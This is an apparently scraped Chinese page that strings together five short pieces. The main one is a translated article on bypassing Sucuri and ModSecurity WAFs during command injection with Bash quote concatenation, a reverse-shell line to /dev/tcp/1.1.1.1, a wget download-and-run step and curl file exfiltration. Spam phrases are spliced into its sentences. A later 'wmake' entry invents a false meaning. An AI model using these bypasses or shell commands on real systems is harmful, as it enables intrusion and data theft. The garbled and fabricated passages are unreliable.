1.WAF绕过技术系列文章(二)
2.基于 OpenResty 和 ModSecurity 自建 WAF 实践
3.常见WAF的拦截页整理
4.wmake是什么意思英语?
5.爬虫常用技巧及反爬虫方法!
WAF绕过技术系列文章(二)
在前面的文章中,我们学习了如何通过通配符绕过WAF规则,特别是使用问号通配符。但是,绕过WAF的spirng源码深度解析方法远不止于此。对于不同的攻击,WAF规则绕过方法各不相同。例如,在SQL注入中,你可以利用注释语法来绕过WAF,而不仅仅是简单的加号。
当目标网站的WAF防御级别较低时,星号和连字符能帮你成功绕过WAF。但这只适用于SQL注入,不能用于本地文件包含和远程命令执行。对于某些特殊场景,WAF很难真正防御住针对目标网站的远程命令执行,因为这种攻击使用了字符串连接符。
如果你想实际操作这些绕过方法,可以在我创造的FluxCapacitor手动练习,这是一个在hackthebox上的漏洞演示虚拟机。
在许多编程语言中,字符串连接通常通过二进制符号实现。例如,加号,"Hello, " + "World"得到值为"Hello, World"。在其他编程语言中,连接符可能是python源码讲解不同符号,特别是涉及到隐式的类型转换,并不会使用加号等符号。例如在Perl和PHP中连接符为.,在Lua等语言中,连接符为..
但是你可别认为这是连接两个字符串的唯一方式。
当你在Bash使用C,C++,Python等编程语言时,你可以利用一种基于Bash的字符串连接特性,即:两个相邻的字符串即使中间没有任何符号,它们也可被当作连接在一起,"Hello," "World"等同于"Hello, World"。这个特性不仅适用于printf和echo等命令,还可适用于整体Bash语法。让我们从简单的例子开始。
下面的所有命令运行结果相同:
从上我们可以清楚了解到Bash中的字符串连接特性。实际上,'te's't'是由三个字符串组成:字符串te、字符串s和字符串t。这种语法可以有效地绕过基于“字符串匹配”的WAF规则。
ModSecurity中的防御规则SecRule ARGS "@pm passwd shadow groups"…将拦截所有包含字符串passwd或字符串shadow的请求。但是,如果我们把它们转换成pa'ss'wd或sh'ad'ow呢?就像我上面所提到的那样。而且,你不仅可以使用连接字符串来代替文件参数,还可以用来代替执行路径!
下面的所有命令运行结果也相同:
现在,我们已经发现一个远程命令执行的绕过WAF方法。如果你面临的WAF存在基于敏感字符串的拦截,你就可以用它绕过WAF规则:
下面我会用PHP代码做些测试,寻亲网站源码像往常一样,目标WAF是sucuri WAF和ModSecurity。如下是我们的网页代码,当然,它显得太过简单,功能主要是利用curl和system()形成一个命令执行场景。虽然它看起来很不靠谱,但奇怪的是,你可以在多个实际应用场景发现这种愚蠢的代码。
我想我在发布这些文章后,Sucuri会立马把我拉黑。但是,我发誓:我使用Sucuri waf与ModSecurity进行比较,不是因为我要说明哪个更好。因为Sucuri被广泛使用,如果有用户阅读了本文,就可以在他们的自己的Web应用上更好地进行安全测试。
首先,我尝试发出请求获取 google.com,而使用最原始地请求:
如预期的一样,返回了 google.com的页面,基于地理位置,让我跳转到 www.google.de:
现在,为了做坏事,我使用分号破坏curl语法,尝试执行其他系统命令。但是当我试图读取/etc/passwd文件时,Sucuri就会拦截请求,表单 填充 源码请求如下:
被Sucuri拦截的原因如下:“检测到一个RFI/LFI攻击”。我认为(只是一个假设)Sucuri的这个拦截使用了类似于我们上面所提及的“字符串匹配”技术,它可能会拦截所有常见的路径和文件名,如/etc/passwd。当我把这个WAF的拦截力度调到最低时,我就可以利用两个单引号来绕过!
我知道你现在在想什么:“就算你可以读取passwd文件又怎样……你可以绕过Sucuri WAF得到一个shell吗?”这个问题的答案当然是,YES!唯一的问题就是我们不能使用netcat,因为它还没有安装。
返回一个shell的最简单方法是使用bash -i命令:bash -i >& /dev/tcp/1.1.1.1/ 0>&1,但不幸的是,它太复杂了,很难彻底绕过WAF,这同时也意味着很难使用一些php、perl或python代码来获得shell。Sucuri WAF频繁拦截了我的请求,原因是:检测到模糊攻击。
接下来,我尝试使用curl或wget命令将python的反弹shell脚本上传上去,以获得shell。shell.py代码如下:
然后,我们在本机使用python -c SimpleHTTPServer或php -s等搭建Web服务,方便目标服务器从中下载python文件,下载shell.py文件用以下语法:
好的,Sucuri Waf没有拦截这个请求,但是ModSecurity通常会拦截这类请求,为了要绕过这类WAF规则,鞋子商城源码可以使用wget+ip转换+字符串连接来达成:
第一个命令使用wget下载shell文件到/tmp/。第二个命令使用chmod修改其可执行权限,第三个命令是执行它。如您所见,wget命令发出的请求中没有指明文件名,因此被下载的文件被命名为index.html。你可以使用netcat 命令nc手动写入HTTP的响应头和内容主体来决定文件内容,如下所示:
接下来,我们要绕过更难的WAF
你可能认为我们可以用上面的技术绕过OWASP核心规则集的低级规。但是,这是不可能的。因为有两个小东西叫做normalizePath和cmdLine。在ModSecurity中,它们被称为“转换函数”,用于将用户输入的原始数据先转换,然后再匹配。如果WAF认为数据无害,才会发送原始数据到Web服务器。
normalizePath:它会删除字符串中的多个斜杠、目录的自引用和目录的上级引用(除了最开始的输入)。
cmdLine:由Marc Stern开发,会将所有的输入规范化,例如/e't'c/pa'ss'wd会被转换规范为/etc/passwd。总之它可以做很多事:
因为cmdLine,WAF规则就可以拦截所有利用字符串连接来进行远程命令执行的尝试,拦截信息如下:
现在我不能读取/etc/passwd,但不要绝望!OWASP核心规则集会拦截常用的文件路径和命令,但它不能对目标应用的源代码执行拦截。我虽然不能使用分号(这意味着我不能跳出curl语法),但我可以使用curl来提取文件并将其发送到远程服务器。以上方法可绕过0到3级别的防御。
主要方法是利用POST的HTTP请求将文件发送到远程服务器,命令如下:
在此基础上,我们把@编码为%:
如果防御等级为4,以上这些都不起作用,因为payload中的连字符、正斜杠等字符会引起拦截。但好消息是,防御级别4在生产环境中很少见。
上面所述的绕过技术同样也可以应用于反斜杠字符。反斜杠不是用来串联字符串,而是用来转义:
以上就是全部内容。谢谢!
来源: WAF绕过技术系列文章(二)|NOSEC安全讯息平台 - NOSEC.ORG
白帽汇从事信息安全,专注于安全大数据、企业威胁情报。
公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。
为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。
基于 OpenResty 和 ModSecurity 自建 WAF 实践
面对外卖系统存在的安全隐患和Web攻击,一家公司的PHP后端工程师采取了自建WAF的策略,选择了OpenResty和ModSecurity作为技术基石。WAF作为Web安全的重要防线,OpenResty凭借其高性能和Lua库的优势简化了集成,而ModSecurity作为强大的开源WAF引擎,专为HTTP流量防护而设计,且被Nginx官方推荐。下面,我们将逐步介绍如何在Debian系统服务器上安装和配置这个自建WAF系统。
1. 首先,安装libmaxminddb库,用于解析IP信息。这对于WAF解析和处理网络请求至关重要。
2. 接下来,安装ModSecurity 3.x版本,支持Nginx。由于是源码编译安装,确保版本兼容性至关重要。
3. 安装OpenResty,并通过Nginx的--add-dynamic-module选项添加ModSecurity Nginx connectors,以便在Nginx环境中运行和扩展WAF功能。
4. 在OpenResty的配置文件中,启用ModSecurity,并集成OWASP ModSecurity核心规则集(CRS),这是一个通用的攻击检测规则集,用于提高WAF的防护能力。
通过这样的实践,公司成功地构建了一个自适应、高效且成本效益高的WAF系统,有效保护了外卖系统的安全。如有兴趣深入了解,可以参考《基于OpenResty和ModSecurity的自建WAF实践》一文获取详细步骤和配置指南。
常见WAF的拦截页整理
本文由:潇湘信安排版整理,侵删
前言:近期心情浮躁,没有心思撰写新文。今天分享一篇之前整理过的文章,其中收录了个常见的WAF拦截页,后续又补充了一些,请大家不要再询问了,文中仅包含,没有提供源码和特征。
(1) D盾 (2) 云锁 (3) UPUPW安全防护 (4) 宝塔网站防火墙 (5) 网防G (6) 护卫神 (7) 网站安全狗 (8) 智创防火墙 (9) 主机卫士或webscan () 西数WTS-WAF () Naxsi WAF () 腾讯云 () 腾讯宙斯盾 () 百度云 () 华为云 () 网宿云 () 创宇盾 () 玄武盾 () 阿里云盾 () 网站卫士 () 奇安信网站卫士 () 安域云WAF () 铱讯WAF () 长亭SafeLine () 安恒明御WAF () F5 BIG-IP () Mod_Security () OpenRASP () 百度OpenRASP () dotDefender () 西部数码云网盾 () 红网云WAF () 盛邦RayWAF
关注@码农玛卡巴卡!
wmake是什么意思英语?
wmake意思是waf make。waf是指Web Application Firewall,而make是指编译软件的工具。因此,wmake是使用Web Application Firewall编译软件的过程。Web Application Firewall通常用于保护Web应用程序免受各种安全威胁和攻击,而wmake则是通过编译软件来保障Web应用程序的安全性。
在进行wmake软件编译之前,需要先安装Web Application Firewall。然后,将需要编译的软件放入一个源代码文件夹中。接着,在终端输入waf configure命令进行配置,根据需要选择编译器等。完成配置后,使用waf build命令进行编译。最后,使用waf install命令将编译好的软件安装到指定文件夹中。
使用wmake进行软件编译,可以最大程度地保证Web应用程序的安全性,有效防止各种威胁和攻击。此外,wmake还可以方便地进行软件版本升级。然而,wmake也存在局限性。首先,配置过程相对较烦琐。其次,对于较为复杂的项目,wmake可能无法满足要求,需要使用其他编译工具进行编译。
爬虫常用技巧及反爬虫方法!
爬虫技术在数据抓取中扮演着重要角色,但其操作过程中常面临服务器的反爬策略。以下是几个实用的爬虫技巧和反爬虫应对方法:技巧一:合理设置下载间隔,避免密集访问,如设置下载频率或等待时间,降低服务器压力,减少被识别的风险。
技巧二:伪装浏览器,通过改变User-Agent,模拟真实用户行为,频繁更换可以降低被封禁的可能性。
技巧三:管理cookies,自定义设置或禁止cookie,以防止因频繁请求而被识别为爬虫。
技巧四:采用分布式爬取,利用多台机器协作,提高抓取效率,分散服务器压力。
技巧五:灵活更换IP,当IP被封时,通过代理IP或IP池切换,绕过服务器限制。
然而,服务器也有反爬虫措施,如封禁IP、使用WAF(Web应用防火墙)进行高级防御。例如ShareWAF具有五种反爬虫手段:封IP、爬虫识别、网页源码加密、链接隐藏和动态令牌保护,确保网站信息安全。尽管爬虫技巧多,但ShareWAF的强大反爬虫功能使其在对抗中占据上风。